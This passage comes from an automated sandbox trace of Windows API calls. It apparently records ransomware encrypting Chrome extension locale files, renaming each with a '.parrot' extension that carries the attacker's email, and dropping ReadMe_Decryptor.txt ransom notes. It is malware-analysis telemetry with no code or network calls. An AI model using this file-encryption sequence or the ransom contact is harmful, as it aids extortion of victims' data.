data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0308 | out: hHeap=0x5b0000) returned 1 [0056.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0038 | out: hHeap=0x5b0000) returned 1 [0056.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cfe60 | out: hHeap=0x5b0000) returned 1 [0056.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9170 [0056.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9298 [0056.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0056.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0056.591] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.592] GetFileType (hFile=0x288) returned 0x1 [0056.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d93e0 [0056.602] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.602] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb08f72c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb08f72c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.602] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb08f72c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0056.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x2240ba8 [0056.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0056.602] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x190) returned 0x5d5e20 [0056.602] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb08f72c0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb08f72c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb091d420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0056.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0056.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.603] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0056.603] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb08f72c0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb08f72c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb091d420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0056.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9170 | out: hHeap=0x5b0000) returned 1 [0056.603] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0056.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0056.603] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0056.603] lstrcmpW (lpString1="fr", lpString2=".") returned 1 [0056.603] lstrcmpW (lpString1="fr", lpString2="..") returned 1 [0056.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240a80 [0056.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x5d9170 [0056.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0056.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0056.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d8fd0 [0056.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d9310 [0056.603] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.603] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.603] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.603] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.603] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.603] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.603] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0056.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.604] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.604] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.604] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xde [0056.604] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f6, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.604] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.604] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0056.605] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.605] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xde, lpOverlapped=0x0) returned 1 [0056.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0056.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0056.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0056.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0056.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0056.605] GetLastError () returned 0x0 [0056.709] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.709] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0056.709] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0056.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.709] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0056.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.709] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0056.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.709] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0056.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0056.709] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0056.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0056.709] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0056.709] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0056.709] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0056.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0056.710] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0056.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0056.710] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0056.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.710] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0056.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.710] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0056.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0056.710] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0056.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0056.710] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0056.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0056.710] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x2240a80 [0056.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0056.710] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d0228 [0056.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0056.710] WriteFile (in: hFile=0x288, lpBuffer=0x5d0228*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0228*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0056.710] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0056.710] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.710] CloseHandle (hObject=0x288) returned 1 [0056.711] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x2240a80 [0056.711] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0228 [0056.711] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0056.711] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0056.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69b268 | out: hHeap=0x5b0000) returned 1 [0056.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0056.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0056.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9528 [0056.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0056.712] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0056.713] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.713] GetFileType (hFile=0x288) returned 0x1 [0056.713] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0056.724] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.724] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0a27dc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0a27dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.724] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0a27dc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0056.724] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x2240ba8 [0056.724] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0056.725] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.725] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x69b268 [0056.725] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0a27dc0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0a27dc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0a4df20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0056.725] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0056.725] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0056.725] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0056.725] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0a27dc0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0a27dc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0a4df20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0056.725] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0056.725] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0056.725] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0056.725] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0056.725] lstrcmpW (lpString1="he", lpString2=".") returned 1 [0056.725] lstrcmpW (lpString1="he", lpString2="..") returned 1 [0056.725] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0056.725] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240a80 [0056.725] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0056.725] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9170 | out: hHeap=0x5b0000) returned 1 [0056.725] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d8fd0 [0056.725] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d90f8 [0056.725] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0056.726] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.726] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.726] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.726] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.726] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f7970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0056.726] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0056.726] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0056.726] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0056.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0056.727] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xe1 [0056.727] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f9, nNumberOfBytesToLockHigh=0x0) returned 1 [0056.727] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0056.727] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0056.728] SetFilePointerEx (in: 